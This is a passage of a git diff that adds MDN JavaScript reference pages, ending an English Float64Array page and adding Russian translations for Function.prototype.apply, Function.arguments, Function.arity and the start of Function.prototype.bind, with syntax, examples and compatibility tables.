+ <dd>Creates a new array with all of the elements of this array for which the provided filtering function returns true. See also {{jsxref("Array.prototype.filter()")}}.</dd>
+ <dt>{{jsxref("TypedArray.find", "Float64Array.prototype.find()")}}</dt>
+ <dd>Returns the found value in the array, if an element in the array satisfies the provided testing function or <code>undefined</code> if not found. See also {{jsxref("Array.prototype.find()")}}.</dd>
+ <dt>{{jsxref("TypedArray.findIndex", "Float64Array.prototype.findIndex()")}}</dt>
+ <dd>Returns the found index in the array, if an element in the array satisfies the provided testing function or -1 if not found. See also {{jsxref("Array.prototype.findIndex()")}}.</dd>
+ <dt>{{jsxref("TypedArray.forEach", "Float64Array.prototype.forEach()")}}</dt>
+ <dd>Calls a function for each element in the array. See also {{jsxref("Array.prototype.forEach()")}}.</dd>
+ <dt>{{jsxref("TypedArray.includes", "Float64Array.prototype.includes()")}} {{experimental_inline}}</dt>
+ <dd>Determines whether a typed array includes a certain element, returning <code>true</code> or <code>false</code> as appropriate. See also {{jsxref("Array.prototype.includes()")}}.</dd>
+ <dt>{{jsxref("TypedArray.indexOf", "Float64Array.prototype.indexOf()")}}</dt>
+ <dd>Returns the first (least) index of an element within the array equal to the specified value, or -1 if none is found. See also {{jsxref("Array.prototype.indexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.join", "Float64Array.prototype.join()")}}</dt>
+ <dd>Joins all elements of an array into a string. See also {{jsxref("Array.prototype.join()")}}.</dd>
+ <dt>{{jsxref("TypedArray.keys", "Float64Array.prototype.keys()")}}</dt>
+ <dd>Returns a new <code>Array Iterator</code> that contains the keys for each index in the array. See also {{jsxref("Array.prototype.keys()")}}.</dd>
+ <dt>{{jsxref("TypedArray.lastIndexOf", "Float64Array.prototype.lastIndexOf()")}}</dt>
+ <dd>Returns the last (greatest) index of an element within the array equal to the specified value, or -1 if none is found. See also {{jsxref("Array.prototype.lastIndexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.map", "Float64Array.prototype.map()")}}</dt>
+ <dd>Creates a new array with the results of calling a provided function on every element in this array. See also {{jsxref("Array.prototype.map()")}}.</dd>
+ <dt>{{jsxref("TypedArray.move", "Float64Array.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}</dt>
+ <dd>Former non-standard version of {{jsxref("TypedArray.copyWithin", "Float64Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduce", "Float64Array.prototype.reduce()")}}</dt>
+ <dd>Apply a function against an accumulator and each value of the array (from left-to-right) as to reduce it to a single value. See also {{jsxref("Array.prototype.reduce()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduceRight", "Float64Array.prototype.reduceRight()")}}</dt>
+ <dd>Apply a function against an accumulator and each value of the array (from right-to-left) as to reduce it to a single value. See also {{jsxref("Array.prototype.reduceRight()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reverse", "Float64Array.prototype.reverse()")}}</dt>
+ <dd>Reverses the order of the elements of an array — the first becomes the last, and the last becomes the first. See also {{jsxref("Array.prototype.reverse()")}}.</dd>
+ <dt>{{jsxref("TypedArray.set", "Float64Array.prototype.set()")}}</dt>
+ <dd>Stores multiple values in the typed array, reading input values from a specified array.</dd>
+ <dt>{{jsxref("TypedArray.slice", "Float64Array.prototype.slice()")}}</dt>
+ <dd>Extracts a section of an array and returns a new array. See also {{jsxref("Array.prototype.slice()")}}.</dd>
+ <dt>{{jsxref("TypedArray.some", "Float64Array.prototype.some()")}}</dt>
+ <dd>Returns true if at least one element in this array satisfies the provided testing function. See also {{jsxref("Array.prototype.some()")}}.</dd>
+ <dt>{{jsxref("TypedArray.sort", "Float64Array.prototype.sort()")}}</dt>
+ <dd>Sorts the elements of an array in place and returns the array. See also {{jsxref("Array.prototype.sort()")}}.</dd>
+ <dt>{{jsxref("TypedArray.subarray", "Float64Array.prototype.subarray()")}}</dt>
+ <dd>Returns a new <code>Float64Array</code> from the given start and end element index.</dd>
+ <dt>{{jsxref("TypedArray.values", "Float64Array.prototype.values()")}}</dt>
+ <dd>Returns a new <code>Array Iterator</code> object that contains the values for each index in the array. See also {{jsxref("Array.prototype.values()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toLocaleString", "Float64Array.prototype.toLocaleString()")}}</dt>
+ <dd>Returns a localized string representing the array and its elements. See also {{jsxref("Array.prototype.toLocaleString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toString", "Float64Array.prototype.toString()")}}</dt>
+ <dd>Returns a string representing the array and its elements. See also {{jsxref("Array.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.@@iterator", "Float64Array.prototype[@@iterator]()")}}</dt>
+ <dd>Returns a new <code>Array Iterator</code> object that contains the values for each index in the array.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>Different ways to create a <code>Float64Array</code>:</p>
+
+<pre class="brush: js">// From a length
+var float64 = new Float64Array(2);
+float64[0] = 42;
+console.log(float64[0]); // 42
+console.log(float64.length); // 2
+console.log(float64.BYTES_PER_ELEMENT); // 8
+
+// From an array
+var arr = new Float64Array([21,31]);
+console.log(arr[1]); // 31
+
+// From another TypedArray
+var x = new Float64Array([21, 31]);
+var y = new Float64Array(x);
+console.log(y[0]); // 21
+
+// From an ArrayBuffer
+var buffer = new ArrayBuffer(32);
+var z = new Float64Array(buffer, 0, 4);
+
+// From an iterable
+var iterable = function*(){ yield* [1,2,3]; }();
+var float64 = new Float64Array(iterable);
+// Float64Array[1, 2, 3]
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Superseded by ECMAScript 2015.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#table-49', 'TypedArray constructors')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition in an ECMA standard. Specified that <code>new</code> is required.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#table-49', 'TypedArray constructors')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>ECMAScript 2017 changed the <code>Float64Array</code> constructor to use the <code>ToIndex</code> operation and allows constructors with no arguments.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Float64Array")}}</p>
+
+<h2 id="Compatibility_notes">Compatibility notes</h2>
+
+<p>Starting with ECMAScript 2015, <code>Float64Array</code> constructors require to be constructed with a {{jsxref("Operators/new", "new")}} operator. Calling a <code>Float64Array</code> constructor as a function without <code>new</code>, will throw a {{jsxref("TypeError")}} from now on.</p>
+
+<pre class="brush: js example-bad">var dv = Float64Array([1, 2, 3]);
+// TypeError: calling a builtin Float64Array constructor
+// without new is forbidden</pre>
+
+<pre class="brush: js example-good">var dv = new Float64Array([1, 2, 3]);</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays" title="en/JavaScript typed arrays">JavaScript typed arrays</a></li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("DataView")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/function/apply/index.html b/files/ru/web/javascript/reference/global_objects/function/apply/index.html
new file mode 100644
index 0000000000..538c25a654
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/function/apply/index.html
@@ -0,0 +1,252 @@
+---
+title: Function.prototype.apply()
+slug: Web/JavaScript/Reference/Global_Objects/Function/apply
+tags:
+  - Function
+  - JavaScript
+  - Method
+  - Reference
+  - Référence(2)
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/apply
+---
+<div>{{JSRef("Global_Objects", "Function")}}</div>
+
+<h2 id="Summary" name="Summary">Общие сведения</h2>
+
+<p>Метод <strong><code>apply()</code></strong> вызывает функцию с указанным значением <code>this</code> и аргументами, предоставленными в виде массива (либо <a href="/ru/docs/Web/JavaScript/Guide/Predefined_Core_Objects#Working_with_Array-like_objects">массивоподобного объекта</a>).</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> хотя синтаксис этой функции практически полностью идентичен функции {{jsxref("Function.prototype.call()", "call()")}}, фундаментальное различие между ними заключается в том, что функция <code>call()</code> принимает список аргументов, в то время как функция <code>apply()</code> принимает единичный массив аргументов.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>fun</var>.apply(<var>thisArg</var>, [<var>argsArray</var>])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>thisArg</code></dt>
+ <dd>Опциональный параметр. Значение <code>this</code>, предоставляемое для вызова функции <em><code>fun</code></em>. Обратите внимание, что <code>this</code> может не быть реальным значением, видимым этим методом: если метод является функцией в {{jsxref("Functions_and_function_scope/Strict_mode", "нестрогом режиме", "", 1)}}, значения {{jsxref("Global_Objects/null", "null")}} и {{jsxref("Global_Objects/undefined", "undefined")}} будут заменены глобальным объектом, а примитивные значения будут упакованы в объекты.</dd>
+ <dt><code>argsArray</code></dt>
+ <dd>Опциональный параметр. Массивоподобный объект, определяющий аргументы, с которыми функция <em><code>fun</code></em> должна быть вызвана, либо {{jsxref("Global_Objects/null", "null")}} или {{jsxref("Global_Objects/undefined", "undefined")}}, если в функцию не надо передавать аргументы. Начиная с ECMAScript 5 эти аргументы могут быть обобщёнными массивоподобными объектами, а не только массивом. Смотрите ниже информацию по {{anch("Browser_compatibility", "совместимости с браузерами")}}.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Вы можете присваивать различные объекты <code>this</code> при вызове существующей функции. <code>this</code> ссылается на текущий объект, вызывающий объект. С помощью <code>apply()</code> вы можете написать метод один раз, а затем наследовать его в других объектах без необходимости переписывать метод для каждого нового объекта.</p>
+
+<p>Метод <code>apply</code> очень похож на метод {{jsxref("Function.prototype.call()", "call()")}}, за исключением поддерживаемого типа аргументов. Вы можете использовать массив аргументов вместо набора именованных параметров. Вместе с <code>apply</code> вы можете использовать литерал массива, например, <code><em>fun</em>.apply(this, ['есть', 'бананы'])</code>, либо объект {{jsxref("Global_Objects/Array", "Array")}}, например, <code><em>fun</em>.apply(this, new Array('есть', 'бананы'))</code>.</p>
+
+<p>Также вы можете использовать в качестве параметра <code>argsArray</code> псевдомассив {{jsxref("Functions_and_function_scope/arguments", "arguments")}}. <code>arguments</code> является локальной переменной функции. Он может использоваться для всех неопределённых аргументов вызываемого объекта. Таким образом, вы не обязаны знать, сколько и какие аргументы требует вызываемый объект при использовании метода <code>apply()</code>. Вы можете использовать псевдомассив <code>arguments</code> для передачи всех аргументов в вызываемый объект. Вызываемый объект самостоятельно разберётся с обработкой аргументов.</p>
+
+<p>Начиная с 5-го издания ECMAScript, вы также можете использовать любой вид массивоподобного объекта, что на практике означает, что он должен иметь свойство <code>length</code> и целочисленные свойства в диапазоне <code>(0...length)</code>. В качестве примера, теперь вы можете использовать {{domxref("NodeList")}} или свой собственный объект вида <code>{ 'length': 2, '0': 'есть', '1': 'бананы' }</code>.</p>
+
+<p>{{note("Большинство браузеров, включая Chrome 14 и Internet Explorer 9, всё ещё не принимают массивоподобные объекты и будут выбрасывать исключение.")}}</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_apply_to_chain_constructors" name="Example:_Using_apply_to_chain_constructors">Пример: использование <code>apply()</code> для связи конструкторов объекта в цепочку</h3>
+
+<p>Вы можете использовать метод <code>apply()</code> для объединения в цепочку {{jsxref("Operators/new", "конструкторов", "", 1)}} объекта, как в Java. В следующем примере мы создадим в объекте {{jsxref("Global_Objects/Function", "Function")}} глобальный метод <code>construct()</code>, который позволит нам использовать массивоподобные объекты с конструктором вместо списка аргументов.</p>
+
+<pre class="brush: js">Function.prototype.construct = function (aArgs) {
+  var oNew = Object.create(this.prototype);
+  this.apply(oNew, aArgs);
+  return oNew;
+};
+</pre>
+
+<div class="note">
+<p><strong>Примечание:</strong> метод {{jsxref("Object.create()")}}, использованный в этом примере, относительно новый. В качестве альтернативного способа можно рассмотреть возможность использования замыкания:</p>
+
+<pre class="brush: js">Function.prototype.construct = function(aArgs) {
+  var fConstructor = this, fNewConstr = function() { fConstructor.apply(this, aArgs); };
+  fNewConstr.prototype = fConstructor.prototype;
+  return new fNewConstr();
+};
+</pre>
+</div>
+
+<p>Пример использования:</p>
+
+<pre class="brush: js">function MyConstructor() {
+  for (var nProp = 0; nProp &lt; arguments.length; nProp++) {
+    this['property' + nProp] = arguments[nProp];
+  }
+}
+
+var myArray = [4, 'Привет, мир!', false];
+var myInstance = MyConstructor.construct(myArray);
+
+alert(myInstance.property1);                // выведет 'Привет, мир!'
+alert(myInstance instanceof MyConstructor); // выведет 'true'
+alert(myInstance.constructor);              // выведет 'MyConstructor'
+</pre>
+
+<div class="note">
+<p><strong>Примечание:</strong> этот неродной метод <code>Function.construct()</code> не будет работать с некоторыми родными конструкторами (вроде конструктора {{jsxref("Global_Objects/Date", "Date")}}, к примеру). В этих случаях вы можете использовать метод {{jsxref("Function.prototype.bind()")}} (например, представьте, что вы имеете следующий массив, который можно использовать с конструктором {{jsxref("Global_Objects/Date", "Date")}}: <code>[2012, 11, 4]</code>; в этом случае вы напишите что-то вроде: <code>new (Function.prototype.bind.apply(Date, [null].concat([2012, 11, 4])))()</code> — так или иначе, это не самый изящный способ и, вероятно, его не стоит использовать в рабочем окружении).</p>
+</div>
+
+<h3 id="Example_Using_apply_and_built-in_functions" name="Example:_Using_apply_and_built-in_functions">Пример: использование <code>apply()</code> и встроенных функций</h3>
+
+<p>Умное использование метода <code>apply()</code> позволяет вам использовать встроенные функции для некоторых задач, для которых в противном случае пришлось бы писать цикл по массиву значений. В качестве примера давайте используем {{jsxref("Math.max()")}}/{{jsxref("Math.min()")}} для нахождения максимального/минимального значения в массиве.</p>
+
+<pre class="brush: js">/* мин/макс числа в массиве */
+var numbers = [5, 6, 2, 3, 7];
+
+/* используем apply к Math.min/Math.max */
+var max = Math.max.apply(null, numbers); /* Это эквивалентно Math.max(numbers[0], ...)
+                                            или Math.max(5, 6, ...) */
+var min = Math.min.apply(null, numbers);
+
+/* сравним с простым алгоритмом с циклом */
+max = -Infinity, min = +Infinity;
+
+for (var i = 0; i &lt; numbers.length; i++) {
+  if (numbers[i] &gt; max) {
+    max = numbers[i];
+  }
+  if (numbers[i] &lt; min) {
+    min = numbers[i];
+  }
+}
+</pre>
+
+<p>Но будьте осторожны: при использовании метода <code>apply()</code> таким образом вы рискуете выйти за пределы ограничения на количество аргументов в движке JavaScript. Последствия применения функции с очень большим количеством аргументов (думается, больше десяти тысяч аргументов) различаются от движка к движку (JavaScriptCore имеет жёстко зашитое <a class="link-https" href="https://bugs.webkit.org/show_bug.cgi?id=80797">ограничение на количество аргументов в 65536</a>), поскольку этот предел (на самом деле, это природа поведения любого чрезвычайно огромного стека) не определён. Некоторые движки будут выкидывать исключение. Хуже того, другие просто отбрасывают реально переданные функции аргументы сверх лимита. (Для иллюстрации последнего случая: если такой движок имеет ограничение в четыре элемента [реальное ограничение, конечно же, гораздо выше], это выглядело бы так, как если бы в примере выше в метод <code>apply()</code> были переданы аргументы <code>5, 6, 2, 3</code>, а не весь массив.) Если ваш масив значений может вырасти до десятков тысяч, используйте смешанный подход: применяйте вашу функцию к порциям массива:</p>
+
+<pre class="brush: js">function minOfArray(arr) {
+  var min = Infinity;
+  var QUANTUM = 32768;
+
+  for (var i = 0, len = arr.length; i &lt; len; i += QUANTUM) {
+    var submin = Math.min.apply(null, arr.slice(i, Math.min(i + QUANTUM, len)));
+    min = Math.min(submin, min);
+  }
+
+  return min;
+}
+
+var min = minOfArray([5, 6, 2, 3, 7]);
+</pre>
+
+<h3 id="Example_Using_apply_in_monkey-patching" name="Example:_Using_apply_in_monkey-patching">Пример: использование <code>apply()</code> в «monkey-патчинге»</h3>
+
+<p>Метод <code>apply()</code> может быть лучшим вариантом для «monkey-патчинга» встроенных в Firefox функций, либо JS библиотек. Пусть у вас есть функция <code>someobject.foo()</code>, вы можете изменить её таким немного хакерским способом:</p>
+
+<pre class="brush: js">var originalfoo = someobject.foo;
+someobject.foo = function() {
+  // Делаем что-то до вызова функции
+  console.log(arguments);
+  // Вызываем функцию так, как будто бы она была вызвана обычным образом:
+  originalfoo.apply(this, arguments);
+  // Делаем что-то после вызова функции.
+}
+</pre>
+
+<p>Этот метод особенно удобен, когда вам нужно отладить события, либо интерфейс с чем-то, что не имеет API, вроде различных событий <code>.on([event]...</code>, например, тех что используются в <a href="/ru/docs/Tools/Page_Inspector#Developer_API">Инспекторе инструментов разработчика</a>).</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.3.4.3', 'Function.prototype.apply')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function.prototype.apply', 'Function.prototype.apply')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Обобщённые массивоподобные объекты ES 5.1, вроде {{jsxref("Functions_and_function_scope/arguments", "arguments")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Обобщённые массивоподобные объекты ES 5.1, вроде {{jsxref("Functions_and_function_scope/arguments", "arguments")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>объект {{jsxref("Functions_and_function_scope/arguments", "arguments")}}</li>
+ <li>{{jsxref("Function.prototype.bind()")}}</li>
+ <li>{{jsxref("Function.prototype.call()")}}</li>
+ <li>{{jsxref("Functions_and_function_scope", "Функции и их область видимости", "", 1)}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/function/arguments/index.html b/files/ru/web/javascript/reference/global_objects/function/arguments/index.html
new file mode 100644
index 0000000000..7b089887c4
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/function/arguments/index.html
@@ -0,0 +1,116 @@
+---
+title: Function.arguments
+slug: Web/JavaScript/Reference/Global_Objects/Function/arguments
+tags:
+  - Deprecated
+  - Function
+  - JavaScript
+  - Property
+  - arguments
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/arguments
+---
+<div>
+ {{JSRef("Global_Objects", "Function")}} {{deprecated_header}}</div>
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <code><strong><em>function</em>.arguments</strong></code> ссылалось на массивоподобный объект, соответствующий аргументам, переданным в функцию. Используйте вместо него простую переменную {{jsxref("Functions_and_function_scope/arguments", "arguments")}}.</p>
+<h2 id="Description" name="Description">Описание</h2>
+<p>Синтаксис <code><em>function</em>.arguments</code> устарел. Рекомендуемым способом доступа к объекту {{jsxref("Functions_and_function_scope/arguments", "arguments")}}, доступному внутри функций, являеся простая ссылка на переменную {{jsxref("Functions_and_function_scope/arguments", "arguments")}}.</p>
+<p>В случае рекурсии, то есть, если функция <code>f</code> несколько раз появляется в стеке вызовов, значение <code>f.arguments</code> представляет аргументы, соответствующие самому последнему вызову функции.</p>
+<h2 id="Examples" name="Examples">Примеры</h2>
+<pre class="brush: js">function f(n) { g(n - 1); }
+
+function g(n) {
+  console.log('до: ' + g.arguments[0]);
+  if (n &gt; 0) { f(n); }
+  console.log('после: ' + g.arguments[0]);
+}
+
+f(2);
+
+
+// Вывод
+
+// до: 1
+// до: 0
+// после: 0
+// после: 1
+</pre>
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0. Устарело в связи с объектом {{jsxref("Functions_and_function_scope/arguments", "arguments")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-10.6', 'объект arguments')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Объект {{jsxref("Functions_and_function_scope/arguments", "arguments")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-arguments-object', 'объект arguments')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Объект {{jsxref("Functions_and_function_scope/arguments", "arguments")}}</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>
+ {{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>объект {{jsxref("Functions_and_function_scope/arguments", "arguments")}}</li>
+ <li>{{jsxref("Functions_and_function_scope", "Функции и их область видимости", "", 1)}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/function/arity/index.html b/files/ru/web/javascript/reference/global_objects/function/arity/index.html
new file mode 100644
index 0000000000..8bcd00363b
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/function/arity/index.html
@@ -0,0 +1,30 @@
+---
+title: Function.arity
+slug: Web/JavaScript/Reference/Global_Objects/Function/arity
+tags:
+  - Function
+  - JavaScript
+  - Obsolete
+  - Property
+  - Unimplemented
+translation_of: Archive/Web/JavaScript/Function.arity
+---
+<div>{{JSRef}}{{Obsolete_Header}}</div>
+
+<p class="note">Свойство <code><strong>arity</strong></code> использовалось для возврата количества ожидаемых функцией аргументов, однако, оно больше не существует и было заменено свойством {{JSxRef("Function.prototype.length")}}.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<p>Реализовано в JavaScript 1.2. Устарело в JavaScript 1.4.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на данной странице составлена из структурированных данных. Чтобы поучаствовать в работе над данными, пожалуйста, обратитесь к репозиторию <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на включение изменений.</div>
+
+<p>{{Compat("javascript.builtins.Function.arity")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{JSxRef("Function.prototype.length")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/function/bind/index.html b/files/ru/web/javascript/reference/global_objects/function/bind/index.html
new file mode 100644
index 0000000000..325c24fa0b
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/function/bind/index.html
@@ -0,0 +1,311 @@
+---
+title: Function.prototype.bind()
+slug: Web/JavaScript/Reference/Global_Objects/Function/bind
+tags:
+  - ECMAScript5
+  - ECMAScript6
+  - Function
+  - JavaScript
+  - Method
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/bind
+---
+<div>{{JSRef("Global_Objects", "Function")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <code><strong>bind()</strong></code> создаёт новую функцию, которая при вызове устанавливает в качестве контекста выполнения <code>this</code> предоставленное значение. В метод также передаётся набор аргументов, которые будут установлены перед переданными в привязанную функцию аргументами при её вызове.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>fun</var>.bind(<var>thisArg</var>[, <var>arg1</var>[, <var>arg2</var>[, ...]]])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>thisArg</code></dt>
+ <dd>Значение, передаваемое в качестве <code>this</code> в целевую функцию при вызове привязанной функции. Значение игнорируется, если привязанная функция конструируется с помощью оператора {{jsxref("Operators/new", "new")}}.</dd>
+ <dt><code>arg1, arg2, ...</code></dt>
+ <dd>Аргументы целевой функции, передаваемые перед аргументами привязанной функции при вызове целевой функции.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Метод <code>bind()</code> создаёт новую "<strong>привязанную функцию</strong>" (<strong>ПФ</strong>).  <strong>ПФ</strong> <span class="translation-chunk">- это "необычный </span> <span class="translation-chunk">функциональный объект" ( термин из </span> <strong>ECMAScript 6</strong> <span class="translation-chunk"> ), который является оберткой над исходным </span> <span class="translation-chunk">функциональным объектом. Вызов </span> <strong>ПФ</strong> <span class="translation-chunk">  приводит к исполнению кода обернутой функции.</span></p>
+
+<p><strong>ПФ</strong> <span class="translation-chunk"> имеет следующие внутренние ( скрытые ) свойства:</span></p>
+
+<ul>
+ <li><span class="translation-chunk"><strong>[[BoundTargetFunction]]</strong> - оборачиваемый  (целевой ) </span> <span class="translation-chunk">функциональный </span><span class="translation-chunk">объект</span></li>
+ <li><span class="translation-chunk"><strong>[[BoundThis]]</strong> - значение, которое всегда передается в качестве значения   <strong>this </strong>при вызове обернутой функции.</span></li>
+ <li><span class="translation-chunk"><strong>[[BoundArguments]] </strong>- список значений, элементы которого используются в качестве первого аргумента при вызове оборачиваемой функции.</span></li>
+ <li><strong><span class="translation-chunk">[[</span>Call</strong><span class="translation-chunk"><strong>]] </strong>- внутренний метод. Выполняет код (функциональное выражение), связанный с функциональным объектом. </span></li>
+</ul>
+
+<p><span class="translation-chunk">Когда <strong>ПФ </strong>вызывается, исполняется ее внутренний метод </span> <strong>[[Call]]</strong> <span class="translation-chunk"> со следующими аргументами </span> <strong>Call(<em>target</em>, <em>boundThis</em>, <em>args</em>).</strong></p>
+
+<ul>
+ <li><strong><em>target</em></strong> <span class="translation-chunk">  -    <strong>[[BoundTargetFunction]]</strong>;</span></li>
+ <li><span class="translation-chunk"><em><strong>boundThis </strong></em></span><em><strong> <span class="translation-chunk"> </span> </strong></em><span class="translation-chunk"><em><strong>  </strong></em>-    </span><strong> </strong><span class="translation-chunk"><strong>[[BoundThis]]</strong>;</span></li>
+ <li><em><strong>args  </strong></em> -  <strong> <span class="translation-chunk">[[BoundArguments]].</span></strong></li>
+</ul>
+
